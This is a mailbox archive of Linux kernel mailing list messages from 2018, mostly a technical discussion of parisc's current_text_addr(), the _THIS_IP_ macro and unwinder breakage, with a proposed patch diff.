> > ... oh, I guess I'm surprised that the label ends up in the code, vs
> > there just being a constant generated.  Can you send me the
> > disassembly?  Also, I'm curious how does having the label present in
> > the text break the unwinder?  (I'm not familiar with how unwinding
> > works beyond following frame pointers).
> The generic code results in the following assembly code:
>
> .L2:
>          ldil LR'.L2,%r25
>          ldo RR'.L2(%r25),%r25
>
> It's the LR and RR relocations that cause the label to end up in the
> final symbol table.
> The linker can't throw .L2 away  as its address has been taken.
>
> The comparable PA 2.0 code is:
>
>          mfia %r25

Thanks for the disassembly and explanation.

>
> I'm aware of this issue as I just changed gcc to move branch tables to
> read-only data
> when generating non-PIC code because of this issue.
>
> Helge knows more about the unwind issues than I do as it's specific to
> the linux kernel.
> Userspace uses dwarf unwind info.  I believe what happens is the
> unwinder finds the label
> instead of the relevant function and its unwind data.

Seems like return_address() is being used in
arch/parisc/include/asm/ftrace.h. Does v1 break tracing?  When you
found out the hard way about this requirement for labels in unwind
data, how did you reproduce (boot test that failed, ftrace failed)?
Does the same thing happen with this patch?


> >> _THIS_IP_ should be defined using
> >> current_text_addr() on parisc.
> > I'm trying to eliminate current_text_addr() in the kernel, as it only
> > has 4 call sites (3 are arch specific).  What are your thoughts on
> > making the current parisc current_text_addr() just a static function
> > (or statement expression that's local to) in
> > arch/parisc/kernel/unwind.c?
> I understand the desire to eliminate current_text_addr().  However, as
> it stands, using _THIS_IP_
> introduces text  labels at many sites in the kernel.  That's why parisc
> needs to be able to provide its
> own define for _THIS_IP_.  Currently, we have in asm/processor.h:
>
> /*
>   * Default implementation of macro that returns current
>   * instruction pointer ("program counter").
>   */
> #ifdef CONFIG_PA20
> #define current_ia(x)   __asm__("mfia %0" : "=r"(x))
> #else /* mfia added in pa2.0 */
> #define current_ia(x)   __asm__("blr 0,%0\n\tnop" : "=r"(x))
> #endif
> #define current_text_addr() ({ void *pc; current_ia(pc); pc; })

I was thinking something like:

diff --git a/arch/parisc/include/asm/processor.h
b/arch/parisc/include/asm/processor.h
index 2dbe5580a1a4..0d7f64ef9c7d 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -20,17 +20,6 @@
 #include <asm/percpu.h>
 #endif /* __ASSEMBLY__ */

-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#ifdef CONFIG_PA20
-#define current_ia(x)  __asm__("mfia %0" : "=r"(x))

-#else /* mfia added in pa2.0 */
-#define current_ia(x)  __asm__("blr 0,%0\n\tnop" : "=r"(x))
-#endif
-#define current_text_addr() ({ void *pc; current_ia(pc); pc; })
-
 #define HAVE_ARCH_PICK_MMAP_LAYOUT

 #define TASK_SIZE_OF(tsk)       ((tsk)->thread.task_size)
diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 2ef83d78eec4..818ac8a60a4a 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -430,6 +430,18 @@ int unwind_to_user(struct unwind_frame_info *info)
        return ret;
 }

+/*
+ * Arch-specific marcro that returns the current instruction pointer ("program
+ * counter").  Prefer this to _THIS_IP_ for the sole purpose of not emitting a
+ * label, which breaks unwinding.
+ */
+#ifdef CONFIG_PA20
+#define current_ia(x)   __asm__("mfia %0" : "=r"(x))
+#else /* mfia added in pa2.0 */
+#define current_ia(x)   __asm__("blr 0,%0\n\tnop" : "=r"(x))
+#endif
+#define current_text_addr ({ void *pc; current_ia(pc); (unsigned long) pc; })
+
 unsigned long return_address(unsigned int level)
 {
        struct unwind_frame_info info;
@@ -439,8 +451,8 @@ unsigned long return_address(unsigned int level)
        /* initialize unwind info */
        asm volatile ("copy %%r30, %0" : "=r"(sp));
        memset(&r, 0, sizeof(struct pt_regs));
-       r.iaoq[0] = (unsigned long) current_text_addr();
-       r.gr[2] = (unsigned long) __builtin_return_address(0);
+       r.iaoq[0] = current_text_addr;
+       r.gr[2] = _RET_IP_;
        r.gr[30] = sp;
        unwind_frame_init(&info, current, &r);

Thoughts?  Idea being there's only one call site in your tree that has
this requirement (and the other one in
include/net/inet_connection_sock.h I don't think is correct, and will
send a patch out imminently).

-- 
Thanks,
~Nick Desaulniers


From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement
 expressions
Date: Wed, 1 Aug 2018 18:12:33 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <54b2139b-53d2-01c5-f240-93a692cdbc59@bell.net>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net>
 <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
 <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net>
 <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1533161433 14198 195.159.176.226 (1 Aug 2018 22:10:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Aug 2018 22:10:33 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: deller@gmx.de, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        pravin.shedge4linux@gmail.com,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: Nick Desaulniers <ndesaulniers@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 02 00:10:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkzK8-0003bC-HD
	for glk-linux-kernel-4@m.gmane.org; Thu, 02 Aug 2018 00:10:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732361AbeHBAAb (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 1 Aug 2018 20:00:31 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:53233 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1725978AbeHBAAb (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 1 Aug 2018 20:00:31 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20180801221234.FWVS3030.torfep01.bell.net@torspm02.bell.net>;
          Wed, 1 Aug 2018 18:12:34 -0400
Original-Received: from [192.168.2.49] (really [70.53.62.189]) by torspm02.bell.net
          with ESMTP
          id <20180801221234.FIBV31064.torspm02.bell.net@[192.168.2.49]>;
          Wed, 1 Aug 2018 18:12:34 -0400
In-Reply-To: <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=JtkelIwC c=1 sm=0 tr=0 a=VCUqJnZSONuD0ISaPFNHjQ==:17 a=IkcTkHD0fZMA:10 a=dapMudl6Dx4A:10 a=FBHGMhGWAAAA:8 a=TMzeLrFyuUXZKIc864gA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2837321 gmane.linux.ports.parisc:28862
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2837321>

On 2018-08-01 5:49 PM, Nick Desaulniers wrote:
> Thoughts?  Idea being there's only one call site in your tree that has
> this requirement (and the other one in
> include/net/inet_connection_sock.h I don't think is correct, and will
> send a patch out imminently).
What about the uses in the fs support, etc?

Dave

-- 
John David Anglin  dave.anglin@bell.net



From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nick Desaulniers <ndesaulniers@google.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement expressions
Date: Wed, 1 Aug 2018 15:18:19 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <CAKwvOdktvrZL8T_5K2VtQtgt_mscS7kzVXYVy0O7CSuGX53Y5A@mail.gmail.com>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net> <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
 <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net> <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
 <54b2139b-53d2-01c5-f240-93a692cdbc59@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1533161789 7518 195.159.176.226 (1 Aug 2018 22:16:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Aug 2018 22:16:29 +0000 (UTC)
Cc: deller@gmx.de, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        pravin.shedge4linux@gmail.com,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: dave.anglin@bell.net
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 02 00:16:24 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkzPq-0001oG-U0
	for glk-linux-kernel-4@m.gmane.org; Thu, 02 Aug 2018 00:16:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732378AbeHBAG2 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 1 Aug 2018 20:06:28 -0400
Original-Received: from mail-pl0-f65.google.com ([209.85.160.65]:46065 "EHLO
        mail-pl0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1732211AbeHBAG1 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 1 Aug 2018 20:06:27 -0400
Original-Received: by mail-pl0-f65.google.com with SMTP id j8-v6so59748pll.12
        for <linux-kernel@vger.kernel.org>; Wed, 01 Aug 2018 15:18:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=/OXEpGHZaJPBI/wv0tgH9/HIeou9DWLBclefECW5TGg=;
        b=YiDLEQKDAC2S/Ef+Lf7dh8SE8KGVrdPpbjxt5npdKLzTcyaE+PFuhA02r0DKLU5m2q
         8q8m06bIpvx4mQPVhkzEyGux7W1Lcm9JAxoCE7Eg4DvO6R4EIiBzVYTzJr1Nsix6LK1m
         4k81CFpYt6r3kA4puNTX15x50t5Z1KzzvMdwnLArHaJMs3Tcnvw8aGCGV7BVCTvIKfl2
         zz3GfRKf7qAu/6Jleuhl0lXnE44mlyWkY8RwpR0cfy/y05Q9Ca2dSPHwlktxNOiVEIJT
         7CNGjg6Qv/YAz16dt0uRXbzL4TSf27v5Andg++EnlsYXkN79HVyzwl3qoaKqzTQjb8u6
         xPIg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=/OXEpGHZaJPBI/wv0tgH9/HIeou9DWLBclefECW5TGg=;
        b=lZeTvJC97W52A1FiHqlfEJqlx3TKeb+SbLjBfHf3E/03iH54VOikU3l7CT4YdbkEn4
         nA/piIMY8j08I3pABLmnrjKH0D+HB6PRmdDETC5hXWlFctqpL02kFi32T8+pCre12x8L
         YvtuMnab3lFlLP4T/gQHxjhng+g2thhrdvPIQy3KnHWIiMkOJIAA1CTRnkChVy5noBDi
         GXRoxZYrL2LQSKIVA4oHfYCBNv7hSkcuZMopL/TpuI5mgUG1fchzjcKFrXG1cuYUDzSt
         bBcefz0oHhPXRTyRVjWso052HyErscX89GCPbrBBw1si0DuSt2cdzGPkQC6Ocj0z8MDa
         Gv2A==
X-Gm-Message-State: AOUpUlE7QAolIaBoNOvCgKv1Op+5By2uvEf+ddBOeYOUPOQW0YqJWumJ
        79KhIeOrgPs7fefFwEnb708N3fU9qElB41cF8YsgMw==
X-Google-Smtp-Source: AAOMgpfRSI9wokLUuoT+edqskIU08ZD0+uPGug2CTc5GIh7c2eElmzwLiKRz9KHrnNCOt7qg1Xf6aZlKUBzo8gzstvU=
X-Received: by 2002:a17:902:708b:: with SMTP id z11-v6mr143064plk.262.1533161910263;
 Wed, 01 Aug 2018 15:18:30 -0700 (PDT)
In-Reply-To: <54b2139b-53d2-01c5-f240-93a692cdbc59@bell.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2837324 gmane.linux.ports.parisc:28863
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2837324>

On Wed, Aug 1, 2018 at 3:12 PM John David Anglin <dave.anglin@bell.net> wrote:
>
> On 2018-08-01 5:49 PM, Nick Desaulniers wrote:
> > Thoughts?  Idea being there's only one call site in your tree that has
> > this requirement (and the other one in
> > include/net/inet_connection_sock.h I don't think is correct, and will
> > send a patch out imminently).

Turns out it is correct (I assumed by caller, they meant _RET_IP_, but
they're in an inline function). https://lkml.org/lkml/2018/8/1/1687 is
the patch.

> What about the uses in the fs support, etc?

Sorry, I don't see it?

$ ag current_text_addr
and
$ grep -R current_text_addr

turn up nothing in fs/.  Is this torvals/linux with no out of tree patches?
-- 
Thanks,
~Nick Desaulniers


From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement
 expressions
Date: Wed, 1 Aug 2018 20:49:50 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <536ef1b1-cfa2-f66d-4261-fb8405964632@bell.net>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net>
 <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
 <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net>
 <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
 <54b2139b-53d2-01c5-f240-93a692cdbc59@bell.net>
 <CAKwvOdktvrZL8T_5K2VtQtgt_mscS7kzVXYVy0O7CSuGX53Y5A@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1533170869 12944 195.159.176.226 (2 Aug 2018 00:47:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Aug 2018 00:47:49 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: deller@gmx.de, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        pravin.shedge4linux@gmail.com,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: Nick Desaulniers <ndesaulniers@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 02 02:47:44 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fl1mK-0003GG-7R
	for glk-linux-kernel-4@m.gmane.org; Thu, 02 Aug 2018 02:47:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731689AbeHBCiV (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 1 Aug 2018 22:38:21 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:50517 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1729224AbeHBCiV (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 1 Aug 2018 22:38:21 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20180802004951.HCPI26486.mtlfep02.bell.net@mtlspm01.bell.net>;
          Wed, 1 Aug 2018 20:49:51 -0400
Original-Received: from [192.168.2.49] (really [70.53.62.189]) by mtlspm01.bell.net
          with ESMTP
          id <20180802004951.ELLY28394.mtlspm01.bell.net@[192.168.2.49]>;
          Wed, 1 Aug 2018 20:49:51 -0400
In-Reply-To: <CAKwvOdktvrZL8T_5K2VtQtgt_mscS7kzVXYVy0O7CSuGX53Y5A@mail.gmail.com>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=XaJm9Mx5 c=1 sm=0 tr=0 a=VCUqJnZSONuD0ISaPFNHjQ==:17 a=IkcTkHD0fZMA:10 a=dapMudl6Dx4A:10 a=FBHGMhGWAAAA:8 a=EeonsrSh77DfYk3c2y8A:9 a=QEXdDO2ut3YA:10 a=ATlVsGG5QSsA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2837410 gmane.linux.ports.parisc:28864
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2837410>

On 2018-08-01 6:18 PM, Nick Desaulniers wrote:
>> What about the uses in the fs support, etc?
> Sorry, I don't see it?
I mean _THIS_IP_.

Dave

-- 
John David Anglin  dave.anglin@bell.net



From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nick Desaulniers <ndesaulniers@google.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement expressions
Date: Thu, 2 Aug 2018 13:31:19 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <CAKwvOdmwj76aESZNKhzfPmhfzGKvrfDut7oD5KAwA+VR-JukSg@mail.gmail.com>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net> <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
 <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net> <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
 <54b2139b-53d2-01c5-f240-93a692cdbc59@bell.net> <CAKwvOdktvrZL8T_5K2VtQtgt_mscS7kzVXYVy0O7CSuGX53Y5A@mail.gmail.com>
 <536ef1b1-cfa2-f66d-4261-fb8405964632@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1533241770 30271 195.159.176.226 (2 Aug 2018 20:29:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Aug 2018 20:29:30 +0000 (UTC)
Cc: deller@gmx.de, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Pravin Shedge <pravin.shedge4linux@gmail.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: dave.anglin@bell.net
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 02 22:29:24 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1flKDs-0007kt-4d
	for glk-linux-kernel-4@m.gmane.org; Thu, 02 Aug 2018 22:29:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731682AbeHBWYR (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 2 Aug 2018 18:24:17 -0400
Original-Received: from mail-pf1-f195.google.com ([209.85.210.195]:34172 "EHLO
        mail-pf1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726662AbeHBWYQ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 2 Aug 2018 18:24:16 -0400
Original-Received: by mail-pf1-f195.google.com with SMTP id k19-v6so1971559pfi.1
        for <linux-kernel@vger.kernel.org>; Thu, 02 Aug 2018 13:31:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=07xsWrrDpYKD0OL79G8eDAc5Kuf5oduiGSpDO/vxjlE=;
        b=f5U6MzSg+ym51oDOF3Y/n3P2iaBznczjp2ZFhBrh7pYQFIpfxyA061TQ0GzZ1d2hNh
         wcHMhO9DIfOIZa3i+phpNlz4io8L9N5wrCjaMEcRQqWHKWRyxZnmteJCSYx7l9z2HAYZ
         pSChhlhQN7d4J678WVRkYIn69j8A+pRHhb6uzuzmyEPNxaQ6fsqi5yc9KKOKINYQU+KV
         d0wozRKFeTRjKhMJY8BxM6sM9C2TItXQQ2rbnkM1UZlG45025J8vJwPHVwCR4gRB5jlM
         eU8WQpm2ikVHqG7b+AwQJW1DPnP3B/IOKKPiWmi1Tu+3A183F91e1jm55Y9dWLbGkzcs
         PPZA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=07xsWrrDpYKD0OL79G8eDAc5Kuf5oduiGSpDO/vxjlE=;
        b=bHcxY5UPrRS1cwtzoVcUusUp/w2VDvVFnkvsOfi5DmqadJOvNc21SILi9BKmJBK/hD
         KETeTgoiCxEUux3pk70isBZnrRMePupk5wc+gpgI9j7uImk0Dm3CtDd1J7+jwYMOxEI0
         E3lbu96duPnY26U5bNqsC2bM701aCYpCZmnRn7JGnQcUjFHHDCm0pmfTL3k0HBsMOIjH
         oUUvc5+ED6Po74VLSmvMmOWJMQOupfjPW/VHbpp2aHXm0pv6/4c8E5oye6bFQ6vJdupL
         oGRSW9KZCf8UZ7VaWdpLxZhExsuyfbRYEqLTUUKWDTZhzp4WT7J11A+j4Wn+1Cs+ugzK
         ZbIA==
X-Gm-Message-State: AOUpUlEJO7/L3zG8+t65m9+iaNkedbtNpUmwmAdmUUyqOkG66mv64WdA
        OGWLYsvKF2o33PKKTIA70t8tsFsw2X72gYC2NmmJFA==
X-Google-Smtp-Source: AAOMgpeqJnkwVkqTYjnAU3l7N0f7OX+OMmELjMGSE/6aFO9keW5FQtpXwWPxsmmGQrujijMtQEPedV2nQ5HqhiNUoNE=
X-Received: by 2002:a62:106:: with SMTP id 6-v6mr1082304pfb.168.1533241891036;
 Thu, 02 Aug 2018 13:31:31 -0700 (PDT)
In-Reply-To: <536ef1b1-cfa2-f66d-4261-fb8405964632@bell.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2838247 gmane.linux.ports.parisc:28865
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2838247>

On Wed, Aug 1, 2018 at 5:49 PM John David Anglin <dave.anglin@bell.net> wrote:
>
> On 2018-08-01 6:18 PM, Nick Desaulniers wrote:
> >> What about the uses in the fs support, etc?
> > Sorry, I don't see it?
> I mean _THIS_IP_.

I don't understand, I'm referring to current_text_addr().  Maybe this
explains more what I'm trying to do:
https://lkml.org/lkml/2018/8/1/1689

If I understand your point correctly, is it that you're saying that
_THIS_IP_ should be implemented in terms of inline assembly (as in
what current_text_addr() is currently)?  If that's what you mean and
I'm understanding correctly, my point is that we should be preferring
the generic C implementation as that's what's being used in most
places currently, so if it was broken you'd likely already know about
it.  Unless unwinding is truly broken by the additional label, I don't
think we need an inline assembly implementation of current_text_addr()
for parisc (or any arch for that matter).  If we do, then it can be
localized to the parisc unwinding code, that way it can be
consolidated everywhere else for every other arch.

-- 
Thanks,
~Nick Desaulniers


From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alex Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v5 09/11] hugetlb: Introduce generic version of
 huge_ptep_set_wrprotect
Date: Fri, 3 Aug 2018 05:24:29 +0000
Lines: 280
Approved: news@gmane.org
Message-ID: <90bf556f-144d-24b8-d2f6-70fee4a30559@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
 <20180731060155.16915-10-alex@ghiti.fr>
 <87h8kfhg7o.fsf@concordia.ellerman.id.au>
 <6acb1389-6998-bafb-cf69-174fd522c04c@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1533273770 30234 195.159.176.226 (3 Aug 2018 05:22:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Aug 2018 05:22:50 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
To: Michael Ellerman <mpe@ellerman.id.au>, linux-mm@kvack.org,
        mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        "aneesh.kumar@linux.ibm.com" <aneesh.kumar@linux.ibm.c
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Aug 03 07:22:42 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
